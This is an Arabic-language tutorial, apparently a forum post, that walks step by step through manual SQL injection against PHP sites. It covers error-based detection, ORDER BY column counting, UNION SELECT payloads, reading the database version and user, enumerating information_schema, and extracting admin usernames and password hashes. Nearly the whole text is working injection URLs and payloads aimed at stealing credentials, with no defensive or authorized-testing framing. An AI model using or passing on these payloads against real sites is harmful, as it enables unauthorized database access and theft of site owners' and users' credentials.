بسـم اللـه الرحمـن الـرحيـم
كـيـف تعـرف ان هذا المـوقـع مصـاب بـ ثغـرة ..؟!
مثـلا : dev-chat.com/serch.php?id=10
نـرى ان امـتـداد الصفحـه php وبعـدهـ id وطبعـا id هـو متغيـر يعني مش شـرط انـه يكـون id في مثلا CID وفي xor ... الخ على حسب الاسكربت المهم قيمة =قيمة (التساوي في البرمجة نسميها علامة اسناد)
طبعـا اذا اردنـا ان نعـرف هـل هو مصـاب بثغـرة او لآ نضيـف لـه قيمـه مجـهـولـه مثـلا ( ' )
نضيفهـا بعـد الـرابــط ومثـالنـا فوق يعني نضيـف القيمـه بعـد الرقـم [10]
طبعـا اذا كان مصـااب ستظهـر لـك في وسـط الصفحـه مثـلآ :
Warning: mysql_fetch_array & Warning: mysql_result & Warning: preg_match & Warning: mysql_result
وطبعـا ليسـت محصـورهـ على هذه في بعـض الاحيـاان تظهـر على اشكـال مختلفـه ومتعـددة
يعنـي مـن الاخر : عنـدمـا تلاحـظ اي تغيـر بالصفحـه فـهـو احتمـال انـه هذا الموقع مصـاب بثغـرة
طبعـا الآن لـ نفرض ظهـر لـنـا خطـأ ننـتـقـل الى الخـطوة الثــاانيـه والمعـروفــه
نضـع بعـد الرابـط مـبـاشـرة [ +order+by ] ونضـيـف بعـدهـ اي رقـم كبيـر 150 & 100 اي رقـم بس حتـى نحـدد العـمـود المصـااب يعنـي نطبـق على مثالنـا فـوق
sec-code.com/serch.php?id=10+order+by+150
ملاحـظـة : لاتنسى ان تضـع الاشـارة ( */ ) و ( \* ) و (--) بعـد الرقـم 150 وطبعـا هي على حسب الموقـع بعض المواقـع تضع هذه العـلآمـات وبعضهـا لا تستخدمهـا .. طبعـا نجـرب الثلاث حـتـى يـزول الخطـااء
طبعـا هتظهـر لـك رسالـه الخطـا في منتيف الصفحـه / انـت عليـك بتقليـص العـدد [150 ] حتى يزول الخطـااء مـن منتصف الصفحـه فـل نفـرض مثـال :
sec-code.com/serch.php?id=10+order+by+12
زال الخـطـاء عنـد رقـم 12
الآن ننــتـقـل الى الخـطوة الـثـالثـه :
نقـوم بمـسـح +order+by+12 وطبعـا قلنـا ان الخطـا زال عنـد الرقـم 12 نضيـف بعـد الرابـــط +union+selcet
مثـلا على الموقـع :
sec-code.com/serch.php?id=10+union+selcet+1,2,3,4,5,6,7,8,9,10, 11,12
وبعـدهـا سـتـشااهــد ان العمـود ظهـر لـك في منـتـصف الصفحـه طبعـا اللي ماظهـرلوش العمـود في ثلاثـة احتمـالات
ضـع قبـل الامـر [union+selcet] في الرابـط ضـع قبلهـا وااحـد مـن الثلاث الاحتـمـاالآت
and+1=0 او and+1=1 او and+1=2
يعنـي مثـلا : php?id=10+and+1=2+union+selcet وتكمـل مثـل ماقلـت فـوق
نرجـع لـ خطواتنـا نفترض انـه طلـع العمـود المصـاب هـو رقـم ( 4 ) ننـتـقـل الى الخطـوة الرابعـة :
اللـي بيها نعـرف اصـدار اليـوزر والقـاااعـدة مثـل ماقلنـا انـه الرقـم اللي مثلا ظهر لنـا في مـنـتـصف الصفحـه هـو
الرقـم ( 4 ) طبعـا دلوقتى نـروح لـ الرقم ونمسحـه ونعـوض مكـانـه بـ version() او user() او database()
نرجـع نطبق على مثـالنـا :
com/serch.php?id=10+union+selcet+1,2,3,version(),5,6,7 ,8,9,10,11,12
هذ1 مثال يطلـع لنـا اصـدار القـاعـدة
طبعـا نجمعهـم في الامـر هذ1
concat(user(),0x3a,version(),0x3a,database())
الامـر هذ1 يطلـع لنـا يـوزر واسـم واصدار القـاعـدة
هيطلـع لنـا في الصفحـه دلوقتى اصدر القااعـدهـ يـ انـه يكـون اربعـه او خمسـه
ملاحظـه : اللي مايظهـرش معـاه في وسـط الصفحـه .. ارجـع ابحث مرة ثاانيـه في اعلى الصفحـه او في المـصـدر
دلوقتى اللي ظهــر معـه اصـدار القـاعدة ( 4 ) ومعـروف انـه تخمين وشويـة وجـع رآس بس مـع الايـام هتتعـود عليهـاا
طبعـا اصـدار القـااعـدة 4 نبـداء نخمـن ونضـع بـعـد الرابـط [+ from+ ثـم اسـم القـاعـدهـ اللي هتخمـن عليهـا ]
طبعـا ارفـقـت لــك كـل الاحتـمـالات لـ تخمين الجدوال والجدوال الخاصه باليوزر والبـاسورد
bb_authors
php?id=10+union+selcet+1,2,3,4,5,6,7,8,9,10,11,12+ from+bb_authors
طبعـا انـا هنـا افترضـت كـ مثـال ان bb_authors اسـم القـاعـدة .. وتبـداء تخمـن مـن الاسمـاء المرفقـه . حـتى يـزول الخطـاء
وطبعـا تخميـن اليـوزر والـبـاسورد نضعـه مكـان العمـود المصـااب اللي اتفقنـا عليـه مثلا انـه الرقـم ( 4 )
يعني هكــذ1 :
php?id=10+union+selcet+1,2,3,concat(user,0x3a,pass ),5,6,7,8,9,10,11,12+from+bb_authors
دلوقتى انـا خمـنـت ان اسم اليـوزر هو =user والبـاس هو =pass
0x3a = اداة ربـط بيـن الاوامــرر .. واذا طلـع لنـا اليوزر او البـاس تمـام ما طلـع نرجـع لـ الملف المرفـق ونختـار مـن الاحتمـالات ونخمـن حتى يطلـع معنـا وطبعـا لازم يكون عندك الصبـر الصبـر الصبـر ثـم الـتـركيـز يعني يمكـن اي خطـا صغير ما تنتبـه لـه يخرب عليــك اللي عملتـه كلــه ...
نرجـع لـ اصـدار القـااعدهـ انا شرحت على السريـع اذا صاادفنـا اصدار القاعده ( 4 ) اما اصدار القــااعـده (5 )
هذا بدون لا تخمين ولا وجـع راس
اول مـا تشوف اصـدار القـااعـده خمسـة على طول تروح وتضـع في اخر الرابـط
نضـع الامـر : concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema)
مكـان العمـود المصـاب اللي افترضنـا انـه الرقـم ( 4 )
والامـر الثــااني : +from+information_schema.columns+where+column_name +like+char(الامـر المراد تشفيرة)
طبعـا الامر مراد تشفيرة يكون فى اخر الرابط لاكـن الكتـابـه بالعربي وضعتـه كانـه في اول الرابـط وطبعـا نعلـق على كلمـه الامر المراد تشفيرهـ طبعـا او شي لازم اشـرح لـكم الامر الاول والثــااني حتى تفهـم ما اذا اقصد في الامـر مراد تشفيره
الامـر الاول : concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema)
concat: هذا يدمج الاشياء الي بعدو وهي table_name يعني اسم الجدول column_name يعني اسم العمود table_schema يعني نواة القاعدة
الامـر الثـانـي : +from+information_schema.columns+where+column_name +like+char(الامـر المراد تشفيرة)
الان نروح للامر الثاني from يعني بالعربي (من) وهي مربوطة بالامر الي قبلها select والي هو استخراج
المقصود: و استخراج الاشياء المدموجة من information_schema.columns والي هي النواة
where يعني بالعربي ( بحيث )
يعني زي مـا نقـول لـ القـاعدهـ بلغتنـا العـامـه طلعـي لنـا هذه الاشيـاء المشـابـه باللي سنضعهـا في خانـه الامر المراد تشفيـرة مثـلا الباسبورد اليوزر نشفـر ونحطـه في خاانـه ( الامر المراد تشفيره )
الامرين الذين نشفرهما %pass% و%use% تشفيـر mysql char
طبعـا نشفـر الامـر %pass% & %use% ونضعـه في الخـاانــه
لـ كي يكون الامــر بـ هذ1 الشكــل
php?id=10+union+selcet+1,2,3,concat(table_name,0x3 a3a,column_name,0x3a3a,table_schema),5,6,7,8,9,10, 11,12+from+information_schema.columns+where+column _name+LIKE+char(37, 117, 115, 101, 37)
شـرح لـ اللي كتبت فوق ...
concat(table_name,0x3a3a,column_name,0x3a3a,table_ schema) هذ1 نضعـه مكـان العمـود المصـاب وشرحته فوق
+from+information_schema.columns+where+column_name +LIKE+char(37, 117, 115, 101, 37) هذ1 اخر الرابـط وسبق شرحـه فووق
37, 117, 115, 101, 37 هذ1 تشقيـر لـ كلمـه %use% وشفـرنـاه بـ اداة HackBar تشفير mysql char
بعـد ذلـك هيظهـر لنـا ثلاثـة اشيـاء مدموجـة مثـال كـ توضيـح :
mmm:::xxxx:::www وطبعـا يفـصل بينهـم بـ ( :: )
وهـي اسمـاء الاعمـدهـ والجـدوال وطبعـا هدفنـا هو استـخراج المعلومات دااخل هذة الاعمـدة والـجـدوال طبعـا دلوقتى طريقـة استخراج هذة المعلومـات
طبعـا هدفنـا الان نطلـع المعلومـات اللي في العمـود هذ1 [ xxxx ] ويكـون بالطريقــه التـااليــه :
نضـع اللي ظهـر لنـا مكـان [ xxxx ] في خانـه العمـود المصـااب ثـم نضـع ما ظهـر لنـا مكـان [ www ] بعـد كلمـه from ثم
نضـع نقطـه ( . ) ثـم نضـع مـاظهـر لـنـا مكـان [ mmm ] في اخر الرابـط ونضغـط انتـر
فيظهـر لـك الآن اسـم اليـوزر الادمـن
Admin
دلوقتى عرفنـا اسـم اليـوزر بـاقي الـبـااس نفس طريقـة اخراج اليوزر نقوم بـ اخراج البـااس بالطريقـه التـاليــه
php?id=10+union+selcet+1,2,3,concat(table_name,0x3 a3a,column_name,0x3a3a,table_schema),5,6,7,8,9,10, 11,12+from+information_schema.columns+where+column _name+LIKE+char(37, 112, 97, 115, 115, 37)
37, 112, 97, 115, 115, 37 لاحـظ هنـا قمنـا بتغيـيـر الكلمـه المراد البحث عنهـا وشفرنـاهـا طبعـا الكلمـه هي %pass%
يعني طلبنـا البحث عـن هذه الكلمـه هيظهـر لنـا الآن في نفس الصفحــه AAA::::HHHH:::::RRRR
طبعـا ما تحتـاج شـرح نفس الطريقـه الاولى
HHHH نضعهـا في مكـان العمـود المصــااب
RRRR نضعـهـا بعـك كلمـه from ثـم نقطـه ( . ) ثـم AAA
هيطلـع لـك الهـاش بتاع الـبـآس
حبيـت انوهـ على
mmm:::xxxx:::www
AAA::::HHHH:::::RRRR
هـذه متغيـرهـ يعني على حسـب ما يطلـع امــامــك انا شـرحت فقـط لـ التوضيــح